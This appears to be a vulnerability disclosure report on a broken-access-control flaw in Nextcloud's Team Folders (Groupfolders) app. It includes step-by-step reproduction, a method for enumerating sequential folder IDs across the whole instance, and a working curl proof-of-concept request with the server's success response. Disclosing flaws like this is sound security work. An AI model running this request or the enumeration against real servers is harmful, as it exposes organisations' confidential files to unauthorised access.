Critical broken access control: API-only delegated admin can enumerate all Team Folders and grant access to arbitrary groups

How it was found

Summary

An API/REST only delegated admin can bypass folder-level authorization and gain access to any Team Folder by abusing:

POST /index.php/apps/groupfolders/folders/{id}/groups

Because folder_id is predictable (auto-increment), an attacker can enumerate all Team Folders and mass-assign their own group, resulting in full access to organization-wide data.

Affected Endpoint

POST /index.php/apps/groupfolders/folders/{id}/groups

Tested Environment

• Nextcloud Hub 26 Winter (33.0.2)
• Deployment: Docker (local)
• Groupfolders app: latest compatible version
• Workspace app: enabled

Preconditions

• Team Folders app enabled
• Workspace app enabled
• Attacker has API/REST only delegated admin privileges
• Attacker controls a group (e.g. Product_Dev)

Steps to Reproduce

Single Folder Exploit

1. Log in as an attacker account with API/REST only delegated admin privileges

2. Use a proxy tool (e.g. Burp Suite) to intercept a request and obtain:

   • Session cookie
   • requesttoken (CSRF token)

3. Identify a Team Folder not managed by the attacker (e.g. Finance, id=1)

4. Send the following request:

POST /index.php/apps/groupfolders/folders/1/groups
Host: <target>
Cookie: <session_cookie>
requesttoken: <request_token>
Content-Type: application/json

{"group": "Product_Dev"}

5. Observe that the request is accepted and the group is successfully added to the target folder

6. Log in as a user in Product_Dev (or refresh mounts)

7. Navigate to Files UI

8. Observe that the Finance Team Folder is now visible and accessible

Mass Exploitation (Full Instance Compromise)

1. Using the same authenticated session (cookie + requesttoken)

2. Enumerate folder IDs (e.g. sequential integers: 1–100)

3. Repeat the request:

POST /index.php/apps/groupfolders/folders/{id}/groups

4. Add attacker-controlled group (Product_Dev) to each folder

5. Result:

   • Multiple Team Folders become accessible
   • Cross-team data exposure achieved

Proof of Concept

The following request demonstrates that an API/REST only delegated admin can add an arbitrary group to a Team Folder they are not authorized to manage.

PoC Request

curl -X POST "http://{{TARGET_HOST}}/index.php/apps/groupfolders/folders/1/groups" \
     -H "Host: {{TARGET_HOST}}" \
     -H "Content-Type: application/json" \
     -H "requesttoken: ql6Eh0++DgBt4UI8eyQ/p2u5wAQQsVZhNd3+odQtip0=:*******" \
     -H "X-Requested-With: XMLHttpRequest" \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" \
     -H "Accept: application/json, text/plain, */*" \
     -H "Origin: http://{{TARGET_HOST}}" \
     -H "Cookie: nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc_sessionPassphrase=*******; ocla11e1zi8v=*******; nc_username=Product_Tester_A; nc_token=*******; nc_session_id=*******" \
     --data-raw '{"group":"Product_Dev"}'

Response:

{
    "ocs": {
        "meta": {
            "status": "ok",
            "statuscode": 100,
            "message": "OK",
            "totalitems": "",
            "itemsperpage": ""
        },
        "data": {
            "success": true,
            "folder": {
                "id": 1,
                "mount_point": "Finance",
                "quota": -3,
                "acl": false,
                "acl_default_no_permission": false,
                "size": 7,
                "groups": {
                    "Finance": 31,
                    "Product_Dev": 31
                },
                "group_details": {
                    "Finance": {
                        "displayName": "Finance",
                        "permissions": 31,
                        "type": "group"
                    },
                    "Product_Dev": {
                        "displayName": "Product_Dev",
                        "permissions": 31,
                        "type": "group"
                    }
                },
                "manage": []
            }
        }
    }
}

Evidence (Screenshots)

The following screenshots are provided as attachments:

1. Initial Team Folders configuration

   • Shows that the target folder (e.g. Finance) is not assigned to the attacker-controlled group (Product_Dev)

2. Initial Files UI view (Product_Tester_A)

   • Shows that the attacker user cannot see the target Team Folder

3. Team Folders configuration after exploitation

   • Shows that Product_Dev has been successfully added to the target Team Folder

4. Files UI view after exploitation (Product_Tester_A)

   • Shows that the previously unauthorized Team Folder is now visible and accessible

Expected Result

The API should return 403 Forbidden unless the caller is authorized to manage the specific Team Folder.

Actual Result

The API allows modification of folder access based solely on API-level privileges, without enforcing folder-level authorization.

Additional Notes

• Folder IDs are auto-increment, making enumeration trivial
• No rate limiting or authorization checks prevent mass exploitation
• The issue affects write endpoints responsible for access control

Impact

This vulnerability allows an attacker to:

• Enumerate all existing Team Folder IDs
• Add an attacker-controlled group to each folder
• Gain access to all Team Folders across the instance
• Read, download, and interact with sensitive files

This leads to:

• Organization-wide data exposure (Finance, HR, Legal, Engineering, etc.)
• Complete breakdown of Team Folder isolation
• Privilege escalation from limited delegated admin → global data access

Attack Scenario

An attacker with limited delegated admin privileges can:

1. Enumerate all Team Folder IDs
2. Add their own group to each folder
3. Instantly gain access to all organizational data

Example:

• Access Finance → download financial reports
• Access HR → retrieve employee data
• Access Engineering → access source code or internal documents

This enables large-scale data exfiltration with a single low-privileged account.